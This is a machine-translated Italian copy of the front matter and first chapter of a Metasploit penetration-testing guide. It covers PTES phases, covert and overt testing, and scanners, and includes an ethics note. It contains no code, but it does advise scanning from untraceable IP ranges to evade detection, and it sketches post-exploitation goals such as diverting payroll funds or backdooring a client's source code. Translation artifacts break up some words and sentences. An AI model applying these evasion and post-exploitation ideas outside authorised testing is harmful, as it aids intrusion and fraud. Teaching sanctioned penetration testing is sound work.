Sei sulla pagina 1di 177

Machine Translated by Google

Machine Translated by Google

Metasplot
David Kennedy
Jim O'Gorman
Devon Kearns
Mati Aharoni
Copyright © 2011
Tutti i diritti riservati. Nessuna parte di questo lavoro può essere riprodotta o trasmessa in qualsiasi forma o con qualsiasi mezzo, elettronico o
meccanico, comprese fotocopie, registrazioni o qualsiasi sistema di archiviazione o recupero delle informazioni, senza il previo consenso scritto del
proprietario del copyright e dell'editore.

No Starch Press e il logo No Starch Press sono marchi registrati di No Starch Press, Inc. Altri nomi di prodotti e società qui menzionati possono
essere marchi dei rispettivi proprietari. Invece di utilizzare un simbolo di marchio con ogni occorrenza di un nome di marchio, utilizziamo i nomi solo in
modo editoriale ea beneficio del proprietario del marchio, senza alcuna intenzione di violazione del marchio.

Le informazioni contenute in questo libro sono distribuite "così come sono", senza garanzia. Sebbene sia stata presa ogni precauzione nella
preparazione di questo lavoro, né l'autore né No Starch Press, Inc. avranno alcuna responsabilità nei confronti di qualsiasi persona o entità in
relazione a qualsiasi perdita o danno causato o presunto causato direttamente o indirettamente dal informazioni in esso contenute.

Nessuna pressa per amido


Machine Translated by Google

Prefazione
La tecnologia dell'informazione è un campo complesso, disseminato della tecnologia semimorta del passato e di un
sempre crescente serraglio di nuovi sistemi, software e protocolli. La protezione delle reti aziendali odierne implica
molto di più della semplice gestione delle patch, dei firewall e della formazione degli utenti; richiede una frequente
convalida nel mondo reale di ciò che funziona e di ciò che non funziona. Questo è ciò che riguarda i test di
penetrazione.

Il test di penetrazione è un lavoro particolarmente impegnativo. Sei pagato per pensare come un criminale, per usare
tattiche di guerriglia a tuo vantaggio e per trovare gli anelli più deboli in una rete di difese molto intricata. Le cose che
trovi possono essere sia sorprendenti che inquietanti; i test di penetrazione hanno scoperto di tutto, dai siti di pornografia
canaglia alle frodi su larga scala e alle attività criminali.
Il test di penetrazione consiste nell'ignorare la percezione di un'organizzazione della propria sicurezza e nel
sondare i suoi sistemi per individuare i punti deboli. I dati ottenuti da un test di penetrazione riuscito spesso scoprono
problemi che nessuna revisione dell'architettura o valutazione della vulnerabilità sarebbe in grado di identificare. I
risultati tipici includono password condivise, reti interconnesse e miniere di dati sensibili nascosti.
I problemi creati da un'amministrazione di sistema sciatta e da implementazioni affrettate spesso rappresentano
minacce significative per un'organizzazione, mentre le soluzioni restano sotto una dozzina di elementi nell'elenco
delle cose da fare di un amministratore. I test di penetrazione evidenziano queste priorità fuori luogo e identificano ciò
che un'organizzazione deve fare per difendersi da una reale intrusione.
I tester di penetrazione gestiscono le risorse più sensibili di un'azienda; ottengono l'accesso ad aree che possono
avere gravi conseguenze nel mondo reale se viene intrapresa l'azione sbagliata. Un singolo pacco fuori posto può
fermare una fabbrica, con un costo misurato in milioni di dollari l'ora. La mancata notifica al personale competente può
comportare una conversazione scomoda e imbarazzante con la polizia locale. I sistemi medici sono un'area che anche
i professionisti della sicurezza più esperti potrebbero esitare a testare; nessuno vuole essere responsabile di aver
confuso il gruppo sanguigno di un paziente in un mainframe OpenVMS o di aver danneggiato la memoria su una
macchina a raggi X che esegue Windows XP. I sistemi più critici sono spesso i più esposti e pochi amministratori di
sistema vogliono rischiare un'interruzione interrompendo un server di database per applicare una patch di sicurezza.

Bilanciare l'uso dei percorsi di attacco disponibili e il rischio di causare danni è un'abilità che tutti i
penetration tester devono affinare. Questo processo dipende non solo da una conoscenza tecnica degli strumenti e delle
tecniche, ma anche da una forte comprensione di come opera l'organizzazione e di dove potrebbe trovarsi il percorso di
minor resistenza.
In questo libro, vedrai i test di penetrazione attraverso gli occhi di quattro professionisti della sicurezza con
background ampiamente divergenti. Gli autori includono persone con esperienza ai vertici della struttura di sicurezza
aziendale fino al mondo del selvaggio West dello sviluppo di exploit clandestini e della ricerca sulla vulnerabilità. Sono
disponibili numerosi libri sui test di penetrazione e sulle valutazioni della sicurezza e ce ne sono molti che si
concentrano interamente sugli strumenti. Questo libro, tuttavia, si sforza di trovare un equilibrio tra i due, coprendo gli
strumenti e le tecniche fondamentali e spiegando anche come giocano nella struttura generale di un processo di test di
penetrazione di successo. I tester di penetrazione esperti trarranno vantaggio dalla discussione della metodologia, che
si basa sullo standard di esecuzione dei test di penetrazione recentemente codificato. Ai lettori che sono nuovi nel
campo verranno presentate numerose informazioni non solo su come iniziare, ma anche sul motivo per cui questi
passaggi sono importanti e cosa significano nel quadro più ampio.

Questo libro si concentra sul Metasploit Framework. Questa piattaforma open source fornisce un
Machine
libreria Translated
affidabile di by Google
exploit costantemente aggiornati e offre un ambiente di sviluppo completo per creare
nuovi strumenti e automatizzare ogni aspetto di un test di penetrazione. In questo libro sono rappresentati
anche Metasploit Express e Metasploit Pro, i fratelli commerciali del Framework. Questi prodotti offrono una
prospettiva diversa su come condurre e automatizzare test di penetrazione su larga scala.
Il Metasploit Framework è un progetto notoriamente volatile; la base del codice viene aggiornata dozzine di volte
ogni giorno da un gruppo principale di sviluppatori e da centinaia di contributori della comunità.
Scrivere un libro sul Framework è uno sforzo masochistico; nel momento in cui un determinato capitolo è stato
riletto, il contenuto potrebbe essere già obsoleto. Gli autori si sono assunti l'erculeo compito di scrivere questo
libro in modo tale che il contenuto sia ancora applicabile nel momento in cui raggiunge i suoi lettori.

Il team di Metasploit è stato coinvolto in questo libro per assicurarsi che le modifiche al codice si riflettano
accuratamente e che il risultato finale sia il più vicino possibile alla copertura zero-day del Framework
Metasploit quanto umanamente possibile. Possiamo affermare con piena fiducia che è la migliore guida al
Framework Metasploit disponibile oggi, e probabilmente rimarrà tale per molto tempo. Ci auguriamo che troviate
questo libro prezioso per il vostro lavoro e un eccellente riferimento nelle vostre prove future.
HD Moore

Fondatore, il progetto Metasploit


Machine Translated by Google
Prefazione
Il Metasploit Framework è stato a lungo uno degli strumenti più utilizzati dai professionisti della sicurezza delle
informazioni, ma per molto tempo esisteva poca documentazione a parte il codice sorgente stesso o i commenti
sui blog. La situazione è cambiata in modo significativo quando Offensive-Security ha sviluppato il suo corso online,
Metasploit Unleashed. Poco dopo che il corso è stato pubblicato, No Starch Press ci ha contattato in merito alla
possibilità di creare un libro per espandere il nostro lavoro con Metasploit Unleashed.
Questo libro è progettato per insegnarti i dettagli di Metasploit e come utilizzare il Framework al meglio. La nostra
copertura è selettiva, non tratteremo ogni singolo flag o exploit, ma ti diamo le basi di cui avrai bisogno per
comprendere e utilizzare Metasploit ora e nelle versioni future.
Quando abbiamo iniziato a scrivere questo libro, avevamo in mente un commento di HD Moore, sviluppatore
del Metasploit Framework. In una conversazione con HD sullo sviluppo del nostro corso Metasploit
Unleashed, uno di noi gli ha detto: "Spero che il corso vada bene". A questo commento disinvolto, HD ha
semplicemente risposto: "Allora assicurati che sia buono". Ed è proprio quello che abbiamo cercato di fare con questo
libro.

Come gruppo, siamo esperti di penetration tester che utilizzano Metasploit quotidianamente per aggirare i controlli
di sicurezza, aggirare le protezioni e attaccare metodicamente i sistemi. Abbiamo scritto questo libro con l'intenzione
di aiutare i nostri lettori a diventare dei tester di penetrazione competenti. La spinta e l'attenzione alla qualità dell'HD
sono evidenti all'interno del Metasploit Framework e abbiamo cercato di abbinare queste caratteristiche in questo
libro. Lasciamo a te giudicare quanto bene siamo stati all'altezza di quello standard.
Machine Translated by Google
Ringraziamenti Vorremmo
ringraziare un certo numero di persone, a cominciare dalle persone il cui duro lavoro fornisce alla
comunità uno strumento inestimabile. Un ringraziamento speciale al Team Metasploit: HD Moore,
James Lee, David D. Rude II, Tod Beardsley, Jonathan Cran, Stephen Fewer, Joshua Drake, Mario
Ceballos, Ramon Valle,
Patrick Webster, Efrain Torres, Alexandre Maloteaux, Wei Chen, Steve Tornio, Nathan Keltner, Chris Gates, Carlos Perez,
Matt Weeks e Raphael Mudge. Anche un ringraziamento extra a Carlos Perez per la sua assistenza nella scrittura di parti
del capitolo sulla sceneggiatura di Meterpreter.

Molte grazie a Scott White, revisore tecnico di questo libro, per essere stato fantastico.

Grazie a Offensive-Security per averci fatto incontrare tutti. La frase del marchio Offensive-Security "Try Harder"
alternativamente ci ispira e ci tortura (ryujin è il male).

Dobbiamo ringraziare molti altri membri della comunità della sicurezza delle informazioni, ma ce ne sono troppi da elencare
e le probabilità di perdere qualcuno sono alte. Quindi grazie ai nostri amici nella comunità della sicurezza; abbracci da tutti
noi.

Un ringraziamento molto speciale a tutto lo staff di No Starch Press per il loro incommensurabile sforzo. Bill, Alison, Travis
e Tyler, è stato un piacere lavorare con te e tutti gli altri dietro le quinte di No Starch Press!

Infine, un grazie di cuore alle nostre famiglie. Siamo tutti sposati e metà di noi ha figli. Passiamo troppo tempo a consumare
la plastica delle nostre tastiere e non abbastanza tempo con loro. Alle nostre famiglie, grazie per la vostra comprensione;
lo faremo per te, non appena aggiorniamo questa prossima riga di codice, o troviamo l'origine di questo danneggiamento
della memoria, o finiamo questo aggiornamento svn, o otteniamo questa prossima configurazione di esecuzione di fuzzer,
o ...

Un ringraziamento speciale

Dave (Twitter: @dave_rel1k): Dedico il mio lavoro su questo libro alla mia amorevole moglie Erin, che ha tollerato le notti
in cui io martellavo la tastiera. Ai miei tre figli che mi tengono giovane e vecchio allo stesso tempo. A mio padre, Jim; mia
madre, Janna; e la mia matrigna, Deb, per esserci stata per me e per avermi reso quello che sono oggi. Grazie a Jim,
Dookie e Muts per il loro duro lavoro sul libro e per essere grandi amici! Ai miei buoni amici di Offensive-Security; Chris
"Logan" Hadnagy; mio fratello, Shawn Sullivan; e il mio team di Diebold. Al mio buon amico HD Moore, la cui dedizione al
settore della sicurezza è fonte di ispirazione per tutti noi. A tutti i miei amici nella vita ea Scott Angelo per avermi dato
un'opportunità e aver creduto in me. Infine, a Dio, senza il quale tutto questo non sarebbe possibile.

Devon (@dookie2000ca): Per la mia bella e tollerante moglie, che non solo sostiene ma incoraggia la mia mania. Sei
la mia ispirazione e motivazione; senza di te al mio fianco in queste attività, non andrei mai da nessuna parte. Ai miei
coautori, grazie per avere fiducia in un nuovo arrivato e per avermi accolto come uno di voi. Infine, un grazie
particolarmente grande a Mati non solo per aver messo insieme questa allegra band, ma per avermi dato una possibilità.

Muts (@backtracklinux): Un ringraziamento speciale ai coautori di questo libro, il cui tempo e dedizione sono davvero
stimolanti. Conto Jim, Devon e Dave come grandi amici e colleghi nel campo della sicurezza.

Jim (@_Elwood_): Grazie a Matteo, Chris "Logan" e all'intero gruppo di Offensive-Security. Anche un
unMachine
grandeTranslated by Google
ringraziamento a Robert, Matt, Chris e ai miei colleghi di StrikeForce. E alla mia meravigliosa
moglie Melissa: il libro che tieni tra le mani è la prova che non stavo solo evitando i lavori domestici tutto il tempo.
E a Jake e Joe, per favore, non dire alla mamma che sto solo giocando con te quando le dico che sto lavorando.
Voi tre siete il Pack-a-Punch della mia vita. E infine ai miei coautori Mati, Devon e Dave: grazie per avermi
permesso di mettere il mio nome su questo libro, stavo davvero solo evitando i lavori domestici.
Machine Translated by Google

introduzione
Immagina che in un futuro non troppo lontano un utente malintenzionato decida di attaccare le risorse
digitali di una multinazionale, prendendo di mira centinaia di milioni di dollari di proprietà intellettuale sepolta
dietro milioni di dollari in infrastrutture. Naturalmente, l'attaccante inizia accendendo l'ultima versione di Metasploit.

Dopo aver esplorato il perimetro del bersaglio, trova un punto debole e inizia una metodica serie di attacchi, ma
anche dopo aver compromesso quasi ogni aspetto della rete, il divertimento è appena iniziato. Manovra
attraverso i sistemi, identificando i componenti aziendali fondamentali e critici che mantengono l'azienda in
funzione. Con un solo tasto, potrebbe guadagnare milioni di dollari dell'azienda e compromettere tutti i loro dati
sensibili.
Congratulazioni per un lavoro ben fatto: hai mostrato un vero impatto sul business e ora è il momento di
scrivere il rapporto. Stranamente, i tester di penetrazione di oggi si trovano spesso nel ruolo di un avversario
fittizio come quello sopra descritto, che esegue attacchi legali su richiesta di aziende che necessitano di elevati
livelli di sicurezza. Benvenuti nel mondo dei test di penetrazione e nel futuro della sicurezza.

Perché fare un test di penetrazione?


Le aziende investono milioni di dollari in programmi di sicurezza per proteggere le infrastrutture critiche,
identificare le falle nell'armatura e prevenire gravi violazioni dei dati. Un test di penetrazione è uno dei modi più
efficaci per identificare le debolezze e le carenze sistemiche in questi programmi. Tentando di aggirare i controlli
di sicurezza e aggirare i meccanismi di sicurezza, un penetration tester è in grado di identificare i modi in cui un
hacker potrebbe essere in grado di compromettere la sicurezza di un'organizzazione e danneggiare
l'organizzazione nel suo insieme.
Mentre leggi questo libro, ricorda che non stai necessariamente prendendo di mira un sistema o più sistemi. Il tuo
obiettivo è mostrare, in modo sicuro e controllato, come un utente malintenzionato potrebbe essere in grado di
causare seri danni a un'organizzazione e influire sulla sua capacità, tra le altre cose, di generare entrate, mantenere
la sua reputazione e proteggere i suoi clienti.
Machine Translated by Google

Perché Metasploit?
Metasploit non è solo uno strumento; è un intero framework che fornisce l'infrastruttura necessaria per
automatizzare attività banali, di routine e complesse. Ciò ti consente di concentrarti sugli aspetti unici o
specializzati dei test di penetrazione e sull'identificazione dei difetti all'interno del tuo programma di sicurezza
delle informazioni.
Man mano che avanzi nei capitoli di questo libro e stabilisci una metodologia a tutto tondo, inizierai a vedere i molti
modi in cui Metasploit può essere utilizzato nei test di penetrazione. Metasploit ti consente di creare facilmente
vettori di attacco per aumentare i suoi exploit, payload, codificatori e altro al fine di creare ed eseguire attacchi più
avanzati. In vari punti di questo libro spieghiamo diversi strumenti di terze parti, inclusi alcuni scritti dagli autori di
questo libro, che si basano su Metasploit Framework. Il nostro obiettivo è metterti a tuo agio con il Framework,
mostrarti alcuni attacchi avanzati e assicurarci che tu possa applicare queste tecniche in modo responsabile. Ci
auguriamo che la lettura di questo libro sia di vostro gradimento quanto noi ci siamo divertiti a crearlo. Che il
divertimento e i giochi abbiano inizio.
Machine Translated by Google
Una breve storia di Metasploit Metasploit è stato
originariamente sviluppato e concepito da HD Moore mentre era alle dipendenze di una società di
sicurezza. Quando HD si è reso conto che stava trascorrendo la maggior parte del suo tempo a
convalidare e disinfettare il codice di exploit pubblico, ha iniziato a creare un framework flessibile e
manutenibile per la creazione e lo sviluppo di exploit. Ha rilasciato la sua prima edizione di Metasploit basato
su Perl nell'ottobre 2003 con un totale di 11 exploit.

Con l'aiuto di Spoonm, HD ha rilasciato una riscrittura totale del progetto, Metasploit 2.0, nell'aprile 2004.
Questa versione includeva 19 exploit e oltre 27 payload. Poco dopo questa versione, Matt Miller (Skape) si è unito
al team di sviluppo di Metasploit e, man mano che il progetto ha guadagnato popolarità, Metasploit Framework ha
ricevuto un forte sostegno dalla comunità della sicurezza delle informazioni ed è diventato rapidamente uno
strumento necessario per test di penetrazione e sfruttamento.
Dopo una riscrittura completa nel linguaggio di programmazione Ruby, il team Metasploit ha rilasciato
Metasploit 3.0 nel 2007. La migrazione del Framework da Perl a Ruby ha richiesto 18 mesi e ha prodotto
oltre 150.000 righe di nuovo codice. Con la versione 3.0, Metasploit ha visto un'adozione diffusa nella comunità
della sicurezza e un grande aumento dei contributi degli utenti.
Nell'autunno del 2009, Metasploit è stata acquisita da Rapid7, leader nel campo della scansione delle vulnerabilità,
che ha permesso ad HD di creare un team per concentrarsi esclusivamente sullo sviluppo di Metasploit
Framework. Dall'acquisizione, gli aggiornamenti sono avvenuti più rapidamente di quanto chiunque potesse
immaginare. Rapid7 ha rilasciato due prodotti commerciali basati su Metasploit Framework: Metasploit Express e
Metasploit Pro. Metasploit Express è una versione più leggera di Metasploit Framework con una GUI e funzionalità
aggiuntive, incluso il reporting, tra le altre utili funzionalità. Metasploit Pro è una versione ampliata di Metasploit
Express che promuove la collaborazione e i test di penetrazione di gruppo e funzionalità come un tunnel VPN
(Virtual Private Network) con un clic e molto altro.
Machine Translated by Google
A proposito di questo libro
Questo libro è progettato per insegnarti tutto, dai fondamenti del Framework alle tecniche avanzate di
sfruttamento. Il nostro obiettivo è fornire un tutorial utile per i principianti e un riferimento per i praticanti.
Tuttavia, non sempre ti terremo per mano. La conoscenza della programmazione è un chiaro vantaggio nel
campo dei test di penetrazione e molti degli esempi in questo libro utilizzeranno il linguaggio di programmazione
Ruby o Python. Tuttavia, mentre ti suggeriamo di imparare un linguaggio come Ruby o Python per aiutare
nello sfruttamento avanzato e nella personalizzazione degli attacchi, non sono richieste conoscenze di
programmazione.
Man mano che ti sentirai più a tuo agio con Metasploit, noterai che il Framework viene aggiornato
frequentemente con nuove funzionalità, exploit e attacchi. Questo libro è stato sviluppato con la
consapevolezza che Metasploit è in continua evoluzione e che nessun libro stampato è in grado di tenere il
passo con questo rapido sviluppo. Pertanto, ci concentriamo sui fondamenti, perché una volta compreso
come funziona Metasploit sarai in grado di accelerare rapidamente con gli aggiornamenti al Framework.
Machine Translated by Google

Cosa c'è nel libro?


In che modo questo libro può aiutarti a iniziare o portare le tue abilità al livello successivo? Ogni capitolo è progettato
per basarsi sul precedente e per aiutarti a sviluppare le tue abilità come penetration tester da zero.

Il Capitolo 1 stabilisce le metodologie relative ai test di penetrazione.

Il Capitolo 2 è la tua introduzione ai vari strumenti all'interno del Metasploit Framework.

Il Capitolo 3 mostra come sfruttare Metasploit nella fase di ricognizione di un test di penetrazione.

Il Capitolo 4 illustra l'identificazione delle vulnerabilità e l'utilizzo della tecnologia di scansione delle vulnerabilità.

Il capitolo 5 ti catapulta nello sfruttamento.

Il capitolo 6, ti guida attraverso il coltellino svizzero del post sfruttamento: Meterpreter.

Il Capitolo 7 si concentra sui concetti alla base delle tecniche di evasione antivirus.

Il Capitolo 8 tratta lo sfruttamento lato client e i bug del browser.

Il Capitolo 9 ti guida attraverso i moduli ausiliari.

Il Capitolo 10 è la tua guida per sfruttare il Social-Engineer Toolkit negli attacchi di ingegneria sociale.

Il Capitolo 11 offre una panoramica completa di Fast-Track, un framework di test di penetrazione automatizzato.

Il Capitolo 12 mostra come sfruttare Karmetasploit per gli attacchi wireless.

Il capitolo 13 ti insegna come costruire il tuo modulo di sfruttamento.

Il Capitolo 14 tratta il fuzzing e la creazione di moduli exploit da buffer overflow.

Il Capitolo 15 fornisce uno sguardo approfondito su come trasferire gli exploit esistenti in un modulo basato su Metasploit.

Il Capitolo 16 mostra come creare i propri script Meterpreter.

Il capitolo 17 riunisce tutto mentre ti guida attraverso un test di penetrazione simulato.


Machine Translated by Google

Una nota sull'etica


Il nostro obiettivo nello scrivere questo libro è aiutarti a migliorare le tue abilità come tester di penetrazione. In qualità
di tester di penetrazione, ignorerai le misure di sicurezza; fa semplicemente parte del lavoro. Quando lo fai, tieni a mente
quanto segue:
Non essere maligno.

Non essere stupido.

Non attaccare obiettivi senza autorizzazione scritta.

Considera le conseguenze delle tue azioni.

Se fai le cose illegalmente, puoi essere catturato e messo in prigione!

Né gli autori di questo libro né No Starch Press, il suo editore, condonano o incoraggiano l'uso improprio delle tecniche di test
di penetrazione qui discusse. Il nostro obiettivo è renderti più intelligente, non aiutarti a metterti nei guai, perché non saremo lì
per tirarti fuori.
Machine Translated by Google

Capitolo 1. Nozioni di base sui test di penetrazione Il test di penetrazione è un modo


per simulare i metodi che un utente malintenzionato potrebbe utilizzare per aggirare i controlli di
sicurezza e ottenere l'accesso ai sistemi di un'organizzazione. Il test di penetrazione è più che eseguire
scanner e strumenti automatizzati e quindi scrivere un rapporto. E non diventerai un esperto tester di
penetrazione dall'oggi al domani; ci vogliono anni di pratica ed esperienza nel mondo reale per diventare es
Attualmente, c'è un cambiamento nel modo in cui le persone considerano e definiscono i test di penetrazione
nel settore della sicurezza. Il Penetration Testing Execution Standard (PTES) sta ridefinendo il test di
penetrazione in modi che influenzeranno sia i tester di penetrazione nuovi che quelli esperti ed è stato adottato da
diversi membri di spicco della comunità della sicurezza. Il suo statuto è quello di definire e aumentare la
consapevolezza su cosa significhi un vero test di penetrazione stabilendo una linea di base dei principi fondamentali
richiesti per condurre un test di penetrazione. Se non conosci i test di penetrazione o non hai familiarità con PTES,
visita http://www.pentest-standard.org/ per saperne di più.

Le fasi del PTES


Le fasi PTES sono progettate per definire un test di penetrazione e assicurare all'organizzazione del
cliente che un livello di impegno standardizzato sarà speso in un test di penetrazione da chiunque conduca
questo tipo di valutazione. Lo standard è diviso in sette categorie con diversi livelli di impegno richiesti per
ciascuna, a seconda dell'organizzazione sotto attacco.

Interazioni preliminari al coinvolgimento Le


interazioni preliminari al coinvolgimento si verificano in genere quando si discute l'ambito ei termini del test
di penetrazione con il cliente. È fondamentale durante il pre-fidanzamento trasmettere gli obiettivi del coinvolgim
Questa fase serve anche come opportunità per istruire il cliente su cosa aspettarsi da un test di penetrazione
completo e completo, senza restrizioni su ciò che può e sarà testato durante l'impegno.

Raccolta dell'intelligence Nella


fase di raccolta dell'intelligence, raccoglierai tutte le informazioni possibili sull'organizzazione
che stai attaccando utilizzando i social network, l'hacking di Google, il rilevamento del bersaglio e cos
Una delle abilità più importanti che un penetration tester può avere è la capacità di conoscere un obiettivo,
incluso come si comporta, come opera e come può essere attaccato alla fine. Le informazioni che raccogli sul tuo
obiettivo ti forniranno informazioni preziose sui tipi di controlli di sicurezza in atto.
Durante la raccolta di informazioni, si tenta di identificare quali meccanismi di protezione sono in atto sull'obiettivo
iniziando lentamente a sondare i suoi sistemi. Ad esempio, un'organizzazione spesso consentirà il traffico solo su
un determinato sottoinsieme di porte su dispositivi rivolti verso l'esterno e se esegui query all'organizzazione su
qualcosa di diverso da una porta autorizzata, verrai bloccato. In genere è una buona idea testare questo
comportamento di blocco sondando inizialmente da un indirizzo IP sacrificabile che si è disposti a bloccare o
rilevare. Lo stesso vale quando stai testando le applicazioni web, dove, dopo una certa soglia, i firewall delle
applicazioni web ti impediranno di effettuare ulteriori richieste.
Per non essere rilevato durante questo tipo di test, puoi eseguire le scansioni iniziali da intervalli di indirizzi IP
che non possono essere ricollegati a te e al tuo team. In genere, le organizzazioni con una presenza esterna su
Internet sperimentano attacchi ogni giorno e la tua indagine iniziale sarà probabilmente un
Machine
parte Translated
non rilevata delbyrumore
Googledi fondo.

NOTA

In alcuni casi, potrebbe avere senso eseguire scansioni molto rumorose da un intervallo IP completamente diverso da quello che utilizzerai per
l'attacco principale. Questo ti aiuterà a determinare quanto bene l'organizzazione risponde agli strumenti che stai utilizzando.

Modellazione delle minacce La

modellazione delle minacce utilizza le informazioni acquisite nella fase di raccolta di informazioni per identificare eventuali
vulnerabilità esistenti su un sistema di destinazione. Quando esegui la modellazione delle minacce, determinerai il
metodo di attacco più efficace, il tipo di informazioni che stai cercando e come l'organizzazione potrebbe essere attaccata.
La modellazione delle minacce implica considerare un'organizzazione come un avversario e tentare di sfruttare i punti
deboli come farebbe un utente malintenzionato.

Analisi delle vulnerabilità Dopo aver

identificato i metodi di attacco più praticabili, è necessario considerare come accedere al bersaglio.
Durante l'analisi della vulnerabilità, combini le informazioni apprese dalle fasi precedenti e le utilizzi per capire quali
attacchi potrebbero essere attuabili. Tra le altre cose, l'analisi della vulnerabilità prende in considerazione le scansioni
delle porte e delle vulnerabilità, i dati raccolti tramite l'acquisizione di banner e le informazioni raccolte durante la raccolta
di informazioni.

Sfruttamento Lo

sfruttamento è probabilmente una delle parti più affascinanti di un test di penetrazione, ma spesso viene eseguito con la
forza bruta piuttosto che con la precisione. Un exploit dovrebbe essere eseguito solo quando sai quasi senza ombra di
dubbio che un particolare exploit avrà successo. Naturalmente, sull'obiettivo potrebbero essere in atto misure protettive
impreviste che impediscono a un particolare exploit di funzionare, ma prima di attivare una vulnerabilità, dovresti sapere
che il sistema è vulnerabile. Lanciare ciecamente un assalto di massa di exploit e pregare per un proiettile non è produttivo;
è rumoroso e fornisce poco o nessun valore a te come tester di penetrazione o al tuo cliente. Prima fai i compiti, quindi
lancia exploit ben studiati che probabilmente avranno successo.

Post-sfruttamento La fase post-

sfruttamento inizia dopo che hai compromesso uno o più sistemi, ma non sei nemmeno vicino al completamento.

Il post sfruttamento è una componente critica in qualsiasi test di penetrazione. È qui che ti distingui
dall'hacker mediocre e ordinario e fornisci effettivamente informazioni e informazioni preziose dal tuo test di
penetrazione. Il post sfruttamento prende di mira sistemi specifici, identifica l'infrastruttura critica e prende di mira
le informazioni oi dati che l'azienda apprezza di più e che ha tentato di proteggere. Quando sfrutti un sistema dopo
l'altro, stai cercando di dimostrare gli attacchi che avrebbero il maggiore impatto sul business.

Quando si attaccano i sistemi in fase di post-sfruttamento, è necessario prendersi il tempo necessario per determinare
cosa fanno i vari sistemi e i loro diversi ruoli utente. Si supponga, ad esempio, di compromettere un sistema di
infrastruttura di dominio e di essere un amministratore aziendale o di disporre dei diritti a livello di amministrazione del
dominio. Potresti essere il re del dominio, ma per quanto riguarda i sistemi?
Machine Translated
comunicare by Google
con Active Directory? Che dire della principale applicazione finanziaria utilizzata per pagare i
dipendenti? Potresti compromettere quel sistema e poi, nel prossimo ciclo di pagamento, far instradare tutto il denaro
dall'azienda a un conto offshore? E la proprietà intellettuale del target?
Si supponga, ad esempio, che il cliente sia un grande negozio di sviluppo software che spedisce ai clienti applicazioni
con codice personalizzato da utilizzare negli ambienti di produzione. Puoi eseguire il backdoor del loro codice sorgente
e sostanzialmente compromettere tutti i loro clienti? Che cosa danneggerebbe la credibilità del loro marchio?

Lo sfruttamento successivo è uno di quegli scenari complicati in cui devi prenderti il tempo per imparare quali
informazioni sono disponibili per te e quindi utilizzare tali informazioni a tuo vantaggio. Un utente malintenzionato
in genere trascorre una notevole quantità di tempo in un sistema compromesso facendo lo stesso. Pensa come un
malintenzionato: sii creativo, adattati rapidamente e affidati al tuo ingegno invece che agli strumenti automatizzati.

Reporting
Reporting è di gran lunga l'elemento più importante di un test di penetrazione. Utilizzerai i report per
comunicare ciò che hai fatto, come lo hai fatto e, soprattutto, come l'organizzazione dovrebbe correggere le
vulnerabilità scoperte durante il test di penetrazione.
Quando si esegue un test di penetrazione, si lavora dal punto di vista di un utente malintenzionato, cosa che le
organizzazioni vedono raramente. Le informazioni ottenute durante un test sono vitali per il successo del programma
di sicurezza delle informazioni dell'organizzazione e per fermare gli attacchi futuri. Mentre compili e riferisci i tuoi risultati,
pensa a come l'organizzazione può utilizzare i tuoi risultati per aumentare la consapevolezza, rimediare ai problemi
scoperti e migliorare la sicurezza generale anziché limitarsi a correggere le vulnerabilità tecniche.
Come minimo, dividi il tuo rapporto in un sommario esecutivo, una presentazione esecutiva e risultati tecnici. I
risultati tecnici verranno utilizzati dal cliente per rimediare alle falle di sicurezza, ma è anche qui che il valore risiede
in un test di penetrazione. Ad esempio, se trovi una vulnerabilità di SQL injection nelle applicazioni basate sul Web del
client, potresti consigliare al client di disinfettare tutto l'input dell'utente, sfruttare le query SQL parametrizzate, eseguire
SQL come account utente limitato e attivare i messaggi di errore personalizzati.

Dopo che il client ha implementato i tuoi consigli e risolto l'unica vulnerabilità specifica dell'iniezione di SQL,
sono davvero protetti dall'iniezione di SQL? No. È probabile che un problema sottostante abbia causato in primo luogo
la vulnerabilità di SQL injection, ad esempio l'impossibilità di garantire la sicurezza delle applicazioni di terze parti.
Anche quelli dovranno essere riparati.
Machine Translated by Google
Tipi di test di penetrazione Ora che hai una
conoscenza di base delle sette categorie PTES, esaminiamo i due tipi principali di test di penetrazione: palese
e nascosta. Un test di penna palese, o test del "cappello bianco", si verifica con la piena conoscenza
dell'organizzazione; i test segreti sono progettati per simulare le azioni di un aggressore sconosciuto e senza
preavviso. Entrambi i test offrono vantaggi e svantaggi.

Test di penetrazione palesi Utilizzando i test


di penetrazione palesi, si lavora con l'organizzazione per identificare potenziali minacce alla sicurezza e il team
IT o di sicurezza dell'organizzazione mostra i sistemi dell'organizzazione. L'unico vantaggio principale di un test
palese è che hai accesso a conoscenze privilegiate e puoi lanciare attacchi senza paura di essere bloccato. Un
potenziale svantaggio dei test manifesti è che i test manifesti potrebbero non testare efficacemente il programma
di risposta agli incidenti del client o identificare quanto bene il programma di sicurezza rilevi determinati attacchi.
Quando il tempo è limitato e alcuni passaggi PTES come la raccolta di informazioni sono fuori portata, un test
palese potrebbe essere l'opzione migliore.

Test di penetrazione segreti Diversamente dai


test di penetrazione segreti, i test di penetrazione segreti sanzionati sono progettati per simulare le azioni di un
aggressore e vengono eseguiti all'insaputa della maggior parte dell'organizzazione. I test segreti vengono
eseguiti per testare la capacità del team di sicurezza interno di rilevare e rispondere a un attacco.

I test nascosti possono essere costosi e dispendiosi in termini di tempo e richiedono più abilità rispetto ai test palesi.
Agli occhi dei tester di penetrazione nel settore della sicurezza, lo scenario nascosto è spesso preferito perché simula
più da vicino un vero attacco. Gli attacchi segreti si basano sulla tua capacità di ottenere informazioni tramite la
ricognizione. Pertanto, come tester segreto, in genere non tenterai di trovare un numero elevato di vulnerabilità in un
obiettivo, ma tenterai semplicemente di trovare il modo più semplice per accedere a un sistema, senza essere rilevato.
Machine Translated by Google
Scanner di vulnerabilità Gli scanner di
vulnerabilità sono strumenti automatizzati utilizzati per identificare i difetti di sicurezza che interessano un determinato
sistema o applicazione. Gli scanner delle vulnerabilità in genere funzionano rilevando il sistema operativo di un target
(ovvero, identificando la versione e il tipo) e tutti i servizi in esecuzione. Dopo aver rilevato l'impronta digitale del
sistema operativo di destinazione, si utilizza lo scanner delle vulnerabilità per eseguire controlli specifici per
determinare se esistono vulnerabilità. Naturalmente, questi controlli sono validi solo quanto i loro creatori e, come con
qualsiasi soluzione completamente automatizzata, a volte possono mancare o rappresentare in modo errato le
vulnerabilità di un sistema.

La maggior parte dei moderni scanner di vulnerabilità svolge un lavoro straordinario nel ridurre al minimo i falsi positivi
e molte organizzazioni li utilizzano per identificare sistemi obsoleti o potenziali nuove esposizioni che potrebbero
essere sfruttate dagli aggressori.

Gli scanner di vulnerabilità svolgono un ruolo molto importante nei test di penetrazione, soprattutto nel caso di test aperti, che
consentono di lanciare più attacchi senza doversi preoccupare di evitare il rilevamento.
